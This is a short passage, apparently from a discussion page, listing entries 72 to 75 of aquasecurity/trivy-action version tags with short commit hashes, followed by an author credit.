  72. aquasecurity/trivy-action@0.33.1 (91e7c2c3)
  73. aquasecurity/trivy-action@0.34.0 (ab6606b7)
  74. aquasecurity/trivy-action@0.34.1 (a9bc513e)
  75. aquasecurity/trivy-action@0.34.2 (ddb9da44)

Tác giả: jicea

#discussion